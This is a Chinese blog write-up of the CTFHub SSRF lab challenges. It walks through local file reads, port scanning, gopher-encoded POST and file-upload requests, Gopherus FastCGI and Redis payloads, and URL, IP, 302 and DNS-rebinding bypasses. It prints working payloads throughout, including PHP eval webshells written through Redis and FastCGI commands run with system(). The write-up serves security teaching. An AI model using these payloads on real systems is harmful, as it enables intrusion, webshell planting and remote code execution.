CTFHUB SSRF 【全】

最新推荐文章于 2024-05-21 22:07:05 发布
最新推荐文章于 2024-05-21 22:07:05 发布
阅读量1.3k 收藏 13
点赞数 5
分类专栏： CTF-web 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jayjay___/article/details/130201446
版权

CTFHUB SSRF 内网访问

打开题目。

image-20230412121123536

提示的很明显。

image-20230412121236032

/?url=http://127.0.0.1/flag.php

image-20230412121305129

CTFHUB SSRF 伪协议读取文件

查看题目描述。

image-20230412121348116

image-20230412121806888

既然是伪协议读取文件，在SSRF中常用的伪协议就是file:///协议了，其在ssrf中可以用来读取php源码。

/?url=file:///var/www/html/flag.php  
//file:///   -- 本地文件传输协议，主要用于访问本地计算机中的文件

image-20230412121940641

CTFHUB SSRF 端口扫描

查看题目描述。

image-20230412130406901

方法一：

burp扫描端口。

这是一道SSRF的题目，所以并不是用御剑或者其他网站后台目录扫描工具进行尝试，根据同一技能数下的前2道题目，可以想到这一题是需要扫描127.0.0.1这一内网地址下的端口，所以我们可以尝试使用BURPSUITE来进行爆破尝试。

image-20230412134722953

image-20230412134522252

image-20230412134548668

专业版burp秒出

image-20230412134916066

方法二：

python脚本爆破。

import requests
 
url = 'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001):
    url_1 = f'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'
    res = requests.get(url_1)
    print(index, res.text)

CTFHUB SSRF POST请求

题目描述：

这次是发一个HTTP POST请求。对了，ssrf是用php的curl实现的。并且会跟踪302跳转，我准备了一个302.php，可能对你有用哦。

先扫一下目录。 python dirsearch.py -u 网址 -t 1 -x 400,403,404,500,503,429

image-20230412155755498

貌似不能直接访问。

image-20230412155405477

简单SSRF一下，index.php啥也没有，flag.php有个key。key=f910c419bfd35923eaaa16a22d1ac240

url=http://127.0.0.1/flag.php

image-20230412155636698

接着，我们将index.php和flag.php的源码读出来：

/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php

index.php：

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php：

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

应该是让我们把key交上去，尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求：

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=

在使用 Gopher协议发送 POST请求包时，Host、Content-Type和Content-Length请求头是必不可少的，但在 GET请求中可以没有。 key值为自己所获得的。

在向服务器发送请求时，首先浏览器会进行一次 URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码：

在第一次编码后的数据中，将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中，可能包含有=、&等特殊字符，避免与服务器解析传入的参数键值对混淆，所以对数据包进行 URL编码，这样服务端会把%后的字节当做普通字节。

python脚本：

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车，回车结尾表示http请求结束。Content-Length是key=e01fdff5c126356cb64cf2436f8c7704的长度
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码


gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A

传参，/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A

image-20230412155941686

%0D%0A感觉原理好像CRLF

CTFHUB SSRF 上传文件

和上题一样步骤先读出源码。

index.php

<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
-->

flag.php

<!--?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
-->

所以只要传个文件进去就行了，大小大于0。

image-20230415092657942

没有提交上传按钮，自己前端改写一个。

<input type="submit" name="submit">

image-20230415092836413

image-20230415092950625

然后burp抓包。

image-20230415093017791

修改Host: 127.0.0.1:80，跑脚本生成payload。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/111.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------352872462627546662763253896363%250D%250AContent-Length%253A%2520395%250D%250AOrigin%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.pHp%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250AGIF89a%250D%250A%253C%253Fphp%250D%250Aeval%2520%2528%2524_POST%255Bjay17%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------352872462627546662763253896363--%250D%250A

传参/?url=payload得到flag。

image-20230415093520890

CTFHUB SSRF FastCGI协议

FastCGI

Wikipedia对FastCGI的解释：快速通用网关接口（Fast****Common Gateway Interface／FastCGI）是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口（CGI）的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销，从而使服务器可以同时处理更多的网页请求。Fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。

php-fpm

官方对php-fpm的解释是FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现，其默认监听9000端口。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看，这里仅对攻击原理做简要描述，CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容，其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对，它的意思是php-fpm会执行这个文件，但是这样即使能够控制这个键值对的值，但也只能控制php-fpm去执行某个已经存在的文件，不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中，php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件，这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

那么当设置php环境变量为：auto_prepend_file = php://input;allow_url_include = On时，就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容，php://input也就是接收POST的内容，这个我们可以在FastCGI协议的body控制为恶意代码，这样就在理论上实现了php-fpm任意代码执行的攻击。

Gopherus工具生成攻击FastCGI的payload。

利用条件：
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径

桌面快捷方式开终端，然后

python2 gopherus.py --exploit fastcgi

之后有两个地方可以输入

第一个地方输入：
一个已知存在的php文件如/var/www/html/index.php  

第二个地方输入：
希望目标服务器执行的恶意命令，比如echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php  或者  ls/cat f*

得到payload。

//ls /
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

//cat /f*
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将payload再进行一次url编码。

传入/?url=payloadurl编码。

image-20230415113400759

image-20230415113446651

CTFHUB SSRF Redis协议

题目描述：这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

Redis是一个key-value存储系统。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。

Redis 在默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空），会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。，也可以直接写入Webshell或者写入计划任务进行反弹shell。

Gopherus工具生成攻击Redis的payload。

桌面快捷方式开终端，然后

python2 gopherus.py --exploit redis

之后有三个地方可以输入。

第一个地方输入：
这里选择是反弹shell还是正向shell         //这题phpshell

第二个地方输入：
服务器根目录，默认为/var/www/html，可以直接回车

第三个地方输入：
后门代码比如：<?php @eval($_POST['jay']) ?>         //默认写入根目录的shell.php

得到payload。

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27jay%27%5D%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

url编码一次传入。

image-20230415115323998

已经有shell.php了，虽然504。

image-20230415115415901

蚁剑貌似连不上，直接RCE。

image-20230415120547785

CTFHUB SSRF URL Bypass

题目描述：请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧。

说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用@来绕过，如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1，即 http://notfound.ctfhub.com@127.0.0.1与 http://127.0.0.1请求是相同的，该请求得到的内容都是127.0.0.1的内容。

payload：
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

image-20230415155045069

CTFHUB SSRF URL 数字IP Bypass

题目描述：这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

image-20230415155940415

image-20230415161627430

不能直接访问。

payload：
?url=http://localhost/flag.php
?url=http://0/flag.php
?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php

CTFHUB SSRF 302跳转 Bypass

payload

http://0.xip.io/flag.php
http://localhost.xip.io/flag.php
http://①②⑦.⓪.⓪.①.xip.io/flag.php

或者302跳转：利用302跳转，需要一个vps，把302转换的代码部署到vps上，然后去访问，就可跳转到内网中。 302跳转就是由一个URL跳转到另外一个URL当中去，就好比现实生活中的呼叫转移，在网页中比如一个网站的网址更新了，一部分的用户还不知道，就可以使用302跳转，从旧的网址跳转到新的网址上，按照这个思路，我们需要实现另外一种表达方式绕过127.0.0.1/flag/.php。 在自己服务器上面放一个302.php或者直接在线网站。

302.php:

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1/flag.php");
    exit();
?>

?url=http://121.37.162.21/302.php

image-20230415203611966

CTFHUB SSRF DNS重绑定 Bypass

题目描述：关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助。

对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。

但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差，利用这个时间差，我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术，在第一次校验IP的时候返回一个合法的IP，在真实发起请求的时候，返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0，这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了，完整的攻击流程为：

  1. 服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP
  2. 对于获得的IP进行判断，发现为非黑名单IP，则通过验证
  3. 服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。
  4. 由于已经绕过验证，所以服务器端返回访问内网资源的结果。

网址

rbndr.us dns rebinding service (cmpxchg8b.com)

image-20230415211647607

?url=7f000001.7f000002.rbndr.us/flag.php

IP会在A、B两个之间反复切换。我们知道，127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段，从127.0.0.1 ~ 127.255.255.254都表示localhost，所以A和B都能进内网。

image-20230415212100571

Jay 17
关注
  • 5
    点赞
  • 踩
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
SSRF（3）伪协议读取文件&Gopher协议的利用
m0_64417923的博客
05-12 4051
一：Http、Dict和file等协议的利用 1，内网访问 所以构造： /?url=http://127.0.0.1/flag.php 得到： ctfhub{ce475b59a4baee959112777b} 2，伪协议读取文件 最经典的PHP伪协议就是file:///协议了，可以用来读取php源码 构造payload： /?url=file:///var/www/html/flag.php 得到： 在单击右键查看源代码： 得到flag： ctfh..
SSRF漏洞学习
qi_SJQ_的博客
01-02 928
1.原理及成因 ssrf：服务端请求伪造，这个漏洞危害其实挺大的，外网直接打到内网，利用一台服务器上的web服务进而访问内网其他资产信息。 SSRF 形成的原因：大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。 简而言之就是无法外网直接访问内网的其他主机，就能这个存在ssrf的主机当跳板来实现访问内网。 2.危险函数 主要是curl()函数，不过别的类似可以利用协议引入的函数也可以，比如file_get_.
SSRF详解 基于CTFHub（下篇）
Bossfrank的博客
04-28 1145
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
CTFHUB技能树——SSRF（一）
最新发布
2401_82985722的博客
05-21 1258
大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。（7）从URL关键字中寻找（share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain）（1）可以对外网、内网、本地进行端口扫描，某些情况下端口的Banner会回显出来（比如3306的）；（5）使用file：///协议读取本地文件(或其他协议）
ctfhub ssrf
shinygod的博客
09-26 491
先用file读一下源码，flag.php中有key且要本地访问，index.php可以传参，可以利用index里的curl用gopher构造post请求，在本地访问flag.php。用gopher写文件，具体原理可以看（https://blog.csdn.net/shinygod/article/details/126995090）的309题。那么直接打：（具体原理可看：https://blog.csdn.net/shinygod/article/details/127034013 的360题）
SSRF（服务器端请求伪造）
qq_56289291的博客
08-02 1614
服务器端请求伪造（SSRFServer-SideRequestForgery）是一个Web安全漏洞，指攻击者诱导服务器将HTTP请求发送到攻击者选择的一个目标上。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。例如通过127.0.0.1就能访问本机，192.168.*.*就能访问内网C段。...
php伪协议
weixin_60719780的博客
01-27 4486
PHP伪协议，也是php支持的协议和封装协议。file:// 访问本地文件系统php:// 访问各个输入/输出流data:// 数据zip:// 压缩流 不过有些伪协议需要allow_url_fopen和allow_url_include的支持。allow_url_fopen On/Off 允许或禁止打开URL文件allow_url_include On/Off 允许或禁止引用URL文件。
你未见过的SSRF利用方式
06-20
是⼀种由攻击者构造形成，由服务端发起请求的⼀个安全漏洞 原因是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对地址和协议等做过滤和限制 本⽂讲解⼀个ssrf的挖掘⽅法与⼀个全回显ssrf的利⽤⽅法
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
SSRF bible. Cheatsheet
08-06
SSRF bible. Cheatsheet SSRF attack and sockets presentation.
SSRF_ex:SSRF漏洞测试、利用 SSRF vulnerability testing and utilization
05-08
SSRF_exSSRF漏洞测试、利用 SSRF vulnerability testing and utilizationSSRF[+] 服务端请求伪造，当作跳板攻击内网服务[+] 扫描内部网络、服务[+] 访问本机敏感文件[+] 向特定端口发送数据包、payload.├── ...
ctfhub利用SSRF攻击内网FastCGI协议
qq_64201116的博客
06-23 2295
SSRF初步理解与探究
CTFer成长之路之任意文件读取漏洞
自强不息
02-21 1240
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
【ctfhub-ssrf】端口扫描
weixin_52116519的博客
04-28 736
题目 1、手动测试端口。/127.0.0.1:8000，端口用的是：，而不是/ 2、手动太慢，用bp爆破
SSRF学习详解与实践
不想当脚本小子的脚本小子
01-24 903
原理：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。注释：除了http/https等方式可以造成ssrf，类
CTF 文件包含与伪协议
weixin_30810583的博客
11-06 864
正巧在写代码审计的文章，无意间看到了一篇CTF的代码审计，CTF题目很好，用的姿势正如标题，文件包含和伪协议。 先放出原文链接（http://www.freebuf.com/column/150028.html） 题目源自国外某挑战平台，平台上还有许多其他有趣的challenges题目。 站点地址：http://chall.tasteless.eu/ 这次的题目链接：http://leve...
CTF fuzz 文件包含 php伪协议
baynk的博客
03-22 1200
一开始就需要fuzz。 先随意构造两个参数，丢到burpsuite中，构造两个是因为跑得快些。。。 这里模式记得换下，用Pitchfork，fuzz的地方也不要用错了。 第一个payload值。 第二个payload值 gogogo等结果吧。 路径应该是path了。。。 确实是OK的，那这里用php伪协议来找文件路径了。 本来想用php://input读目录文件的，但是好像有点问题，所...
CTF-web 第八部分 常见加密与文件包含 伪协议
iamsongyu的博客
11-05 2109
（1）加密解密等 我们在做题的时候，经常会遇到一些奇怪的加密解密的字符串，这就需要我们能够识别一些比较常用的。        1.base64         这是一个常用的编码，而且原理也十分简单，非常容易得到原内容。 三字节变为四字节 前面补两个0。  所谓Base64，就是说选出64个字符----小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"（再加上作为垫字的"="，实...
CTFHub ssrf
07-29
CTFHub是一个CTF（Capture The Flag）比赛平台，提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF（Server-Side Request Forgery）相关的内容，包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理，并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以，CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF：内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值